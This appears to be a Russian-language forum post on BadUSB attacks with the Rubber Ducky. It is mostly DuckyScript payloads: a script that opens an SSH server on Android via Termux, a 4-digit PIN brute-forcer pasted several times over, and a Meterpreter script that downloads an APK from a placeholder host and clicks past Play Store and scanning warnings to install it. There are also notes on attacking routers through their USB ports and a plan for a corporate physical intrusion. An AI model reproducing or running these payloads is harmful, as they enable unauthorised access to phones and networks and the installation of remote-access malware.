REM HID and STORAGE for convenience. Doesn't execute payload until button press.
DEFINE URL hak5.org
REM Change to URL of your choosing.
GUI b
REM Open browser
DELAY 700
CTRL l
REM Select URL bar
DELAY 700
STRINGLN URL
REM inject URL and press ENTER
iPhone:
Код:
GUI h
DELAY 100
GUI SPACE
DELAY 150
BACKSPACE
DELAY 250
STRING Safari
DELAY 100
ENTER
DELAY 500
GUI t
DELAY 250
GUI l
DELAY 100
STRING "HOOK LINK"
DELAY 250
ENTER
GUI t
DELAY 100
STRING www.youtube.com
DELAY 250
ENTER
Открытие SSH службы
Код:
ATTACKMODE HID
DELAY 500
GUI f
DELAY 1000
STRING termux
DELAY 500
TAB
DELAY 100
TAB
DELAY 500
ENTER
DELAY 1500
STRINGLN pkg update -y;pkg install root-repo -y;pkg install openssh -y;ssh-keygen -A;sshd;passwd;
DELAY 20000
STRINGLN NewPasswordHere
DELAY 500
STRINGLN ConfirmPasswordHere
DELAY 500
ALT F4
DELAY 100
ALT F4
DELAY 500
Скрипт используя установленное Программное Обеспечение Termux , скачивает и открывает службу SSH.
Заранее поставьте свой пароль , прописав его в скрипте.
Bruteforse ПИН-кода (4 числа)
ATTACKMODE HID
REM TITLE: Brute Force
REM AUTHOR: Cribbit
REM DESCRIPTION: Updated Version of Hak5 episode 1217.1
REM VID URL:
REM NOTE: This is 10 year old so will not work with modern android
REM PROPS: Hak5Darren
DELAY 3000
EXTENSION TRANSLATE
REM VERSION 1.0
REM This extension acts as a library or collection of helper functions
REM to work with converting variables in your payloads.
REM WHY:
REM Of the many ways to get information about the state of your payload
REM is by injecting static strings effectively as debugging prints
REM However, given the non-static nature of payloads using variables in
REM DuckyScript 3.0 - the ability to decode variables during payload
REM execution and print (inject) representations of their current state
REM can often be a critically helpful development and debugging tool.
REM Available Functions:
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call
REM USAGE:
REM set $INPUT to desired var
REM call the correct translate_ function for the expected data type e.g.
REM VAR $myVar = 1234
REM $INPUT = $myVar
REM TRANSLATE_INT()
REM REM the above code will inject 1234
REM begin extension variables
DEFINE PRINT_INT 0
DEFINE PRINT_HEX 1
VAR $DIGIT_PRINT_MODE = PRINT_INT
VAR $D = 0
VAR $IN = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
VAR $NL = TRUE
REM end extension variables
REM REQUIRED for INT/HEX - convert int to char
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
IF ($D == 10) THEN
STRING A
ELSE IF ($D == 11) THEN
STRING B
ELSE IF ($D == 12) THEN
STRING C
ELSE IF ($D == 13) THEN
STRING D
ELSE IF ($D == 14) THEN
STRING E
ELSE IF ($D == 15) THEN
STRING F
END_IF
ELSE
STRING ?
END_IF
END_FUNCTION
REM REQUIRED for INT/HEX- consumes a character / place from the input
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
FUNCTION SWAP_ENDIAN()
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a DECIMAL string representation
FUNCTION TRANSLATE_INT()
$DIGIT_PRINT_MODE = PRINT_INT
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed boolean type and attempts to convert
REM and inject a BOOLEAN string representation
FUNCTION TRANSLATE_BOOL()
IF $INPUT THEN
STRING TRUE
ELSE
STRING FALSE
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a HEX string representation
FUNCTION TRANSLATE_HEX()
$DIGIT_PRINT_MODE = PRINT_HEX
VAR $chars = 0
VAR $d1 = 0
VAR $d2 = 0
VAR $d3 = 0
VAR $d4 = 0
WHILE ($INPUT > 0)
IF ($chars == 0) THEN
$d1 = ($INPUT % 16)
ELSE IF ($chars == 1) THEN
$d2 = ($INPUT % 16)
ELSE IF ($chars == 2) THEN
$d3 = ($INPUT % 16)
ELSE IF ($chars == 3) THEN
$d4 = ($INPUT % 16)
END_IF
$chars = ($chars + 1)
$INPUT = ($INPUT / 16)
END_WHILE
VAR $i = 0
STRING 0x
IF ($chars == 0) THEN
STRING 0x0000
ELSE IF ($chars == 1) THEN
STRING 000
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 2) THEN
STRING 00
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 3) THEN
STRING 0
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 4) THEN
STRING 0
$D = $d4
PRINTDIGIT()
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a BINARY string representation
FUNCTION TRANSLATE_BINARY()
VAR $I = 16
WHILE ( $I > 0 )
$I = ($I - 1)
IF (($INPUT & 0x8000) == 0 ) THEN
STRING 0
ELSE
STRING 1
END_IF
$INPUT = ($INPUT << 1)
END_WHILE
IF $NL THEN
ENTER
END_IF
END_FUNCTION
END_EXTENSION
REM Turn off TRANSLATE newline
$NL = FALSE
VAR $Frist = 0
VAR $Second = 0
VAR $Third = 0
VAR $Forth = 0
VAR $WaitTime = 30000
VAR $WaitStep = 5000
VAR $WaitDiff = 0
VAR $Cnt = 0
WHILE ($Frist < 10)
$Second = 0
WHILE ($Second < 10)
$Third = 0
WHILE ($Third < 10)
$Forth = 0
WHILE ($Forth < 10)
$INPUT = $Frist
TRANSLATE_INT()
$INPUT = $Second
TRANSLATE_INT()
$INPUT = $Third
TRANSLATE_INT()
$INPUT = $Forth
TRANSLATE_INT()
$Forth = ($Forth + 1)
DELAY 1000
ENTER
ENTER
$Cnt = ($Cnt + 1)
IF ($Cnt == 5) THEN
$Cnt = 0
WHILE ($WaitDiff < $WaitTime)
DELAY $WaitStep
ENTER
$WaitDiff = ($WaitDiff + $WaitStep)
END_WHILE
$WaitDiff = 0
END_IF
END_WHILE
$Third = ($Third + 1)
END_WHILE
$Second = ($Second + 1)
END_WHILE
$Frist = ($Frist + 1)
END_WHILE
REM TITLE: Brute Force
REM AUTHOR: Cribbit
REM DESCRIPTION: Updated Version of Hak5 episode 1217.1
REM VID URL:
REM NOTE: This is 10 year old so will not work with modern android
REM PROPS: Hak5Darren
DELAY 3000
EXTENSION TRANSLATE
REM VERSION 1.0
REM This extension acts as a library or collection of helper functions
REM to work with converting variables in your payloads.
REM WHY:
REM Of the many ways to get information about the state of your payload
REM is by injecting static strings effectively as debugging prints
REM However, given the non-static nature of payloads using variables in
REM DuckyScript 3.0 - the ability to decode variables during payload
REM execution and print (inject) representations of their current state
REM can often be a critically helpful development and debugging tool.
REM Available Functions:
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call
REM USAGE:
REM set $INPUT to desired var
REM call the correct translate_ function for the expected data type e.g.
REM VAR $myVar = 1234
REM $INPUT = $myVar
REM TRANSLATE_INT()
REM REM the above code will inject 1234
REM begin extension variables
DEFINE PRINT_INT 0
DEFINE PRINT_HEX 1
VAR $DIGIT_PRINT_MODE = PRINT_INT
VAR $D = 0
VAR $IN = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
VAR $NL = TRUE
REM end extension variables
REM REQUIRED for INT/HEX - convert int to char
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
IF ($D == 10) THEN
STRING A
ELSE IF ($D == 11) THEN
STRING B
ELSE IF ($D == 12) THEN
STRING C
ELSE IF ($D == 13) THEN
STRING D
ELSE IF ($D == 14) THEN
STRING E
ELSE IF ($D == 15) THEN
STRING F
END_IF
ELSE
STRING ?
END_IF
END_FUNCTION
REM REQUIRED for INT/HEX- consumes a character / place from the input
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
FUNCTION SWAP_ENDIAN()
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a DECIMAL string representation
FUNCTION TRANSLATE_INT()
$DIGIT_PRINT_MODE = PRINT_INT
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed boolean type and attempts to convert
REM and inject a BOOLEAN string representation
FUNCTION TRANSLATE_BOOL()
IF $INPUT THEN
STRING TRUE
ELSE
STRING FALSE
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a HEX string representation
FUNCTION TRANSLATE_HEX()
$DIGIT_PRINT_MODE = PRINT_HEX
VAR $chars = 0
VAR $d1 = 0
VAR $d2 = 0
VAR $d3 = 0
VAR $d4 = 0
WHILE ($INPUT > 0)
IF ($chars == 0) THEN
$d1 = ($INPUT % 16)
ELSE IF ($chars == 1) THEN
$d2 = ($INPUT % 16)
ELSE IF ($chars == 2) THEN
$d3 = ($INPUT % 16)
ELSE IF ($chars == 3) THEN
$d4 = ($INPUT % 16)
END_IF
$chars = ($chars + 1)
$INPUT = ($INPUT / 16)
END_WHILE
VAR $i = 0
STRING 0x
IF ($chars == 0) THEN
STRING 0x0000
ELSE IF ($chars == 1) THEN
STRING 000
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 2) THEN
STRING 00
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 3) THEN
STRING 0
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 4) THEN
STRING 0
$D = $d4
PRINTDIGIT()
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a BINARY string representation
FUNCTION TRANSLATE_BINARY()
VAR $I = 16
WHILE ( $I > 0 )
$I = ($I - 1)
IF (($INPUT & 0x8000) == 0 ) THEN
STRING 0
ELSE
STRING 1
END_IF
$INPUT = ($INPUT << 1)
END_WHILE
IF $NL THEN
ENTER
END_IF
END_FUNCTION
END_EXTENSION
REM Turn off TRANSLATE newline
$NL = FALSE
VAR $Frist = 0
VAR $Second = 0
VAR $Third = 0
VAR $Forth = 0
VAR $WaitTime = 30000
VAR $WaitStep = 5000
VAR $WaitDiff = 0
VAR $Cnt = 0
WHILE ($Frist < 10)
$Second = 0
WHILE ($Second < 10)
$Third = 0
WHILE ($Third < 10)
$Forth = 0
WHILE ($Forth < 10)
$INPUT = $Frist
TRANSLATE_INT()
$INPUT = $Second
TRANSLATE_INT()
$INPUT = $Third
TRANSLATE_INT()
$INPUT = $Forth
TRANSLATE_INT()
$Forth = ($Forth + 1)
DELAY 1000
ENTER
ENTER
$Cnt = ($Cnt + 1)
IF ($Cnt == 5) THEN
$Cnt = 0
WHILE ($WaitDiff < $WaitTime)
DELAY $WaitStep
ENTER
$WaitDiff = ($WaitDiff + $WaitStep)
END_WHILE
$WaitDiff = 0
END_IF
END_WHILE
$Third = ($Third + 1)
END_WHILE
$Second = ($Second + 1)
END_WHILE
$Frist = ($Frist + 1)
END_WHILE
Установка мальваря на Android устройство
REM # -----------------------------------------------------------
REM # Title: OMG Android Meterpreter
REM # Description: Download and install an APK on Android
REM # Author: int0x80
REM # Target: Android 11
REM # Notes: Set URL for APK payload below
REM # -----------------------------------------------------------
REM # -----------------------------------------------------------
REM # Launch browser to APK destination
REM # -----------------------------------------------------------
GUI b
DELAY 1000
CTRL l
DELAY 50
STRING https://x.x.x.x/your-app.apk
DELAY 50
ENTER
DELAY 2000
REM # -----------------------------------------------------------
REM # Move focus to 'Open' link
REM # -----------------------------------------------------------
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
RIGHT
DELAY 50
ENTER
DELAY 500
REM # -----------------------------------------------------------
REM # Select Chrome as approved source to install apps
REM # -----------------------------------------------------------
ENTER
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
REM # -----------------------------------------------------------
REM # Finish approved source
REM # GUI DELETE might work here
REM # -----------------------------------------------------------
GUI TAB
DELAY 50
ENTER
DELAY 50
REM # -----------------------------------------------------------
REM # Scanning and Play Store warnings
REM # Install, Install Anyway, Don't send for scanning, Open
REM # -----------------------------------------------------------
RIGHT
DELAY 50
ENTER
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
ENTER
DELAY 250
REM # -----------------------------------------------------------
REM # Accept access settings and Continue
REM # -----------------------------------------------------------
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
ENTER
DELAY 250
REM # -----------------------------------------------------------
REM # Get shell and obligatory calc
REM # -----------------------------------------------------------
ENTER
DELAY 250
GUI a
REM # Title: OMG Android Meterpreter
REM # Description: Download and install an APK on Android
REM # Author: int0x80
REM # Target: Android 11
REM # Notes: Set URL for APK payload below
REM # -----------------------------------------------------------
REM # -----------------------------------------------------------
REM # Launch browser to APK destination
REM # -----------------------------------------------------------
GUI b
DELAY 1000
CTRL l
DELAY 50
STRING https://x.x.x.x/your-app.apk
DELAY 50
ENTER
DELAY 2000
REM # -----------------------------------------------------------
REM # Move focus to 'Open' link
REM # -----------------------------------------------------------
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
RIGHT
DELAY 50
ENTER
DELAY 500
REM # -----------------------------------------------------------
REM # Select Chrome as approved source to install apps
REM # -----------------------------------------------------------
ENTER
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
REM # -----------------------------------------------------------
REM # Finish approved source
REM # GUI DELETE might work here
REM # -----------------------------------------------------------
GUI TAB
DELAY 50
ENTER
DELAY 50
REM # -----------------------------------------------------------
REM # Scanning and Play Store warnings
REM # Install, Install Anyway, Don't send for scanning, Open
REM # -----------------------------------------------------------
RIGHT
DELAY 50
ENTER
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
ENTER
DELAY 50
ENTER
DELAY 250
REM # -----------------------------------------------------------
REM # Accept access settings and Continue
REM # -----------------------------------------------------------
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
TAB
DELAY 50
ENTER
DELAY 250
REM # -----------------------------------------------------------
REM # Get shell and obligatory calc
REM # -----------------------------------------------------------
ENTER
DELAY 250
GUI a
Атаки на роутеры
Говорю сразу , прямого мануала по эксплуатации не будет , так как точно сам не знаю можно ли для этого юзать именно Rubber Ducky.
Но хочу вас познакомить с этой очень малоизвестной темой об которой почти нигде не говорят.
Как работает атака?
В некоторых роутерах есть USB порт , сделанный он зачастую для подключения принтера или перепрошивки.
Используя такой инструмент как P4wnP1 мы можем провернуть несколько видов атак.
Mikrotik_Mitm - Эта атака приводит к перенаправлению всего интернет-трафика на Raspberry Pi, подключенный к USB-порту. Затем Pi перенаправляет весь интернет-трафик на удаленный VPN-сервер.
Различные производители маршрутизаторов (такие как Netgear, Linksys и TP-Link) поддерживают возможность использования принтеров совместно. Это достигается путем подключения USB-принтера к маршрутизатору и установки клиентского программного обеспечения на ваш хост в локальной сети. Таким образом, ваш хост может общаться с принтером через маршрутизатор.
Однако я обнаружил, что программное обеспечение маршрутизатора/клиента фактически взаимодействует с любым USB-устройством, а не только с принтерами, как предполагалось производителями.
Таким образом, злоумышленник может использовать любую полезную нагрузку, предоставляемую P4wnP1
некоторые роутеры принимают устройство за USB а некоторые за ethernet адаптер.Атаки на устройства с поддержкой физической клавиатуры
По сути , если устройство имеет функцию ввода информации с пк , то в 99% случаев оно может быть уязвимым к атаке Badusb.
Зная OC атакуемой системы и понимать что можно вводить с клавиатуры , а что нет. Можно запрограмировать скрипт на языке програмvирования duckyscript и автоматизировано провести атаку.
Атаки можно проводить на таких системах как:
- Встроенные системы: Устройства Интернета вещей (IoT), системы умного дома и другие встроенные системы могут также подвергаться BadUSB-атакам. Злоумышленники могут использовать уязвимости в USB-интерфейсах этих систем для установки вредоносного ПО, получения несанкционированного доступа или нарушения приватности.
- Аудио/видеоустройства: USB-устройства, такие как веб-камеры, микрофоны, наушники и другие аудио/видеоустройства, также могут быть использованы в BadUSB-атаках. Злоумышленник может использовать эти устройства для незаметного перехвата аудио/видео-данных или для внедрения вредоносного кода.
- Принтеры и сканеры: USB-принтеры и сканеры могут быть целью атак для распространения вредоносного программного обеспечения или злоупотребления привилегиями доступа.
Проводим пентест/физический пентест с помощью Rubber Ducky
Начнем! перед атакой нам как всегда нужно собрать информацию об цели.
Наша цель - это корпоративная локальная сеть , в этапе пентеста Information Gathering , мы должны узнать масштабы сети и ОС систем , которые мы будем атаковать.
Юзать мы будем знания физического пентеста и знания использования Rubber Ducky,
Припустим что все системы которые мы будем атаковать - системы под управлением ОС Windows и Android.
Значит и скрипты мы будем выбирать для атак на Windows и Android.
Выбор скриптов для атак:
Теперь подумаем что мы будем использовать , в идеале нам понадобилось бы 2-3 Rubber Ducky (одна Rubber Ducky - один скрипт), но как так у нас нету таких денег мы будем использовать одну уточку.
Делаем 3 скрипта , берем 3 Micro SD карты и на каждую заливаем по одному скрипту. Далее смотря на ситуацию выбираем карту со скриптом который нам нужен.
1.Получение доступа к Android устройству
На некоторых девайсах могут быть пароли , чтобы их обойти мы будем использовать брутфорс.
ATTACKMODE HID
REM TITLE: Brute Force
REM AUTHOR: Cribbit
REM DESCRIPTION: Updated Version of Hak5 episode 1217.1
REM VID URL:
REM NOTE: This is 10 year old so will not work with modern android
REM PROPS: Hak5Darren
DELAY 3000
EXTENSION TRANSLATE
REM VERSION 1.0
REM This extension acts as a library or collection of helper functions
REM to work with converting variables in your payloads.
REM WHY:
REM Of the many ways to get information about the state of your payload
REM is by injecting static strings effectively as debugging prints
REM However, given the non-static nature of payloads using variables in
REM DuckyScript 3.0 - the ability to decode variables during payload
REM execution and print (inject) representations of their current state
REM can often be a critically helpful development and debugging tool.
REM Available Functions:
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call
REM USAGE:
REM set $INPUT to desired var
REM call the correct translate_ function for the expected data type e.g.
REM VAR $myVar = 1234
REM $INPUT = $myVar
REM TRANSLATE_INT()
REM REM the above code will inject 1234
REM begin extension variables
DEFINE PRINT_INT 0
DEFINE PRINT_HEX 1
VAR $DIGIT_PRINT_MODE = PRINT_INT
VAR $D = 0
VAR $IN = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
VAR $NL = TRUE
REM end extension variables
REM REQUIRED for INT/HEX - convert int to char
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
IF ($D == 10) THEN
STRING A
ELSE IF ($D == 11) THEN
STRING B
ELSE IF ($D == 12) THEN
STRING C
ELSE IF ($D == 13) THEN
STRING D
ELSE IF ($D == 14) THEN
STRING E
ELSE IF ($D == 15) THEN
STRING F
END_IF
ELSE
STRING ?
END_IF
END_FUNCTION
REM REQUIRED for INT/HEX- consumes a character / place from the input
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
FUNCTION SWAP_ENDIAN()
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a DECIMAL string representation
FUNCTION TRANSLATE_INT()
$DIGIT_PRINT_MODE = PRINT_INT
$P = FALSE
IF ( $INPUT >= 10000) THEN
$MOD = 10000
CONSUME()
END_IF
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
$MOD = 1000
CONSUME()
END_IF
IF (($INPUT >= 100) || ($P == TRUE)) THEN
$MOD = 100
CONSUME()
END_IF
IF (($INPUT >= 10) || ($P == TRUE)) THEN
$MOD = 10
CONSUME()
END_IF()
$D = $INPUT
PRINTDIGIT()
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed boolean type and attempts to convert
REM and inject a BOOLEAN string representation
FUNCTION TRANSLATE_BOOL()
IF $INPUT THEN
STRING TRUE
ELSE
STRING FALSE
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a HEX string representation
FUNCTION TRANSLATE_HEX()
$DIGIT_PRINT_MODE = PRINT_HEX
VAR $chars = 0
VAR $d1 = 0
VAR $d2 = 0
VAR $d3 = 0
VAR $d4 = 0
WHILE ($INPUT > 0)
IF ($chars == 0) THEN
$d1 = ($INPUT % 16)
ELSE IF ($chars == 1) THEN
$d2 = ($INPUT % 16)
ELSE IF ($chars == 2) THEN
$d3 = ($INPUT % 16)
ELSE IF ($chars == 3) THEN
$d4 = ($INPUT % 16)
END_IF
$chars = ($chars + 1)
$INPUT = ($INPUT / 16)
END_WHILE
VAR $i = 0
STRING 0x
IF ($chars == 0) THEN
STRING 0x0000
ELSE IF ($chars == 1) THEN
STRING 000
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 2) THEN
STRING 00
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 3) THEN
STRING 0
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
ELSE IF ($chars == 4) THEN
STRING 0
$D = $d4
PRINTDIGIT()
$D = $d3
PRINTDIGIT()
$D = $d2
PRINTDIGIT()
$D = $d1
PRINTDIGIT()
END_IF
IF $NL THEN
ENTER
END_IF
END_FUNCTION
REM Translates a variable of presumed integer type and attempts to convert
REM and inject a BINARY string representation
FUNCTION TRANSLATE_BINARY()
VAR $I = 16
WHILE ( $I > 0 )
$I = ($I - 1)
IF (($INPUT & 0x8000) == 0 ) THEN
STRING 0
ELSE
STRING 1
END_IF
$INPUT = ($INPUT << 1)
END_WHILE
IF $NL THEN
ENTER
END_IF
END_FUNCTION
END_EXTENSION
REM Turn off TRANSLATE newline
$NL = FALSE
VAR $Frist = 0
VAR $Second = 0
VAR $Third = 0
VAR $Forth = 0
VAR $WaitTime = 30000
VAR $WaitStep = 5000
VAR $WaitDiff = 0
VAR $Cnt = 0
WHILE ($Frist < 10)
$Second = 0
WHILE ($Second < 10)
$Third = 0
WHILE ($Third < 10)
$Forth = 0
WHILE ($Forth < 10)
$INPUT = $Frist
TRANSLATE_INT()
$INPUT = $Second
TRANSLATE_INT()
$INPUT = $Third
TRANSLATE_INT()
$INPUT = $Forth
TRANSLATE_INT()
$Forth = ($Forth + 1)
DELAY 1000
ENTER
ENTER
$Cnt = ($Cnt + 1)
IF ($Cnt == 5) THEN
$Cnt = 0
WHILE ($WaitDiff < $WaitTime)
DELAY $WaitStep
ENTER
$WaitDiff = ($WaitDiff + $WaitStep)
END_WHILE
$WaitDiff = 0
END_IF
END_WHILE
$Third = ($Third + 1)
END_WHILE
$Second = ($Second + 1)
END_WHILE
$Frist = ($Frist + 1)
END_WHILE
REM TITLE: Brute Force
REM AUTHOR: Cribbit
REM DESCRIPTION: Updated Version of Hak5 episode 1217.1
REM VID URL:
REM NOTE: This is 10 year old so will not work with modern android
REM PROPS: Hak5Darren
DELAY 3000
EXTENSION TRANSLATE
REM VERSION 1.0
REM This extension acts as a library or collection of helper functions
REM to work with converting variables in your payloads.
REM WHY:
REM Of the many ways to get information about the state of your payload
REM is by injecting static strings effectively as debugging prints
REM However, given the non-static nature of payloads using variables in
REM DuckyScript 3.0 - the ability to decode variables during payload
REM execution and print (inject) representations of their current state
REM can often be a critically helpful development and debugging tool.
REM Available Functions:
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call
REM USAGE:
REM set $INPUT to desired var
REM call the correct translate_ function for the expected data type e.g.
REM VAR $myVar = 1234
REM $INPUT = $myVar
REM TRANSLATE_INT()
REM REM the above code will inject 1234
REM begin extension variables
DEFINE PRINT_INT 0
DEFINE PRINT_HEX 1
VAR $DIGIT_PRINT_MODE = PRINT_INT
VAR $D = 0
VAR $IN = 0
VAR $INPUT = 0
VAR $MOD = 0
VAR $P = FALSE
VAR $NL = TRUE
REM end extension variables
REM REQUIRED for INT/HEX - convert int to char
FUNCTION PRINTDIGIT()
IF ($D == 0) THEN
STRING 0
ELSE IF ($D == 1) THEN
STRING 1
ELSE IF ($D == 2) THEN
STRING 2
ELSE IF ($D == 3) THEN
STRING 3
ELSE IF ($D == 4) THEN
STRING 4
ELSE IF ($D == 5) THEN
STRING 5
ELSE IF ($D == 6) THEN
STRING 6
ELSE IF ($D == 7) THEN
STRING 7
ELSE IF ($D == 8) THEN
STRING 8
ELSE IF ($D == 9) THEN
STRING 9
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
IF ($D == 10) THEN
STRING A
ELSE IF ($D == 11) THEN
STRING B
ELSE IF ($D == 12) THEN
STRING C
ELSE IF ($D == 13) THEN
STRING D
ELSE IF ($D == 14) THEN
STRING E
ELSE IF ($D == 15) THEN
STRING F
END_IF
ELSE
STRING ?
END_IF
END_FUNCTION
REM REQUIRED for INT/HEX- consumes a character / place from the input
FUNCTION CONSUME()
$D = 0
WHILE ($INPUT >= $MOD)
$D = ($D + 1)
$INPUT = ($INPUT - $MOD)
END_WHILE
IF (($D > 0) || ($P == TRUE)) THEN
$P = TRUE
PRINTDIGIT()
END_IF
END_FUNCTION
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
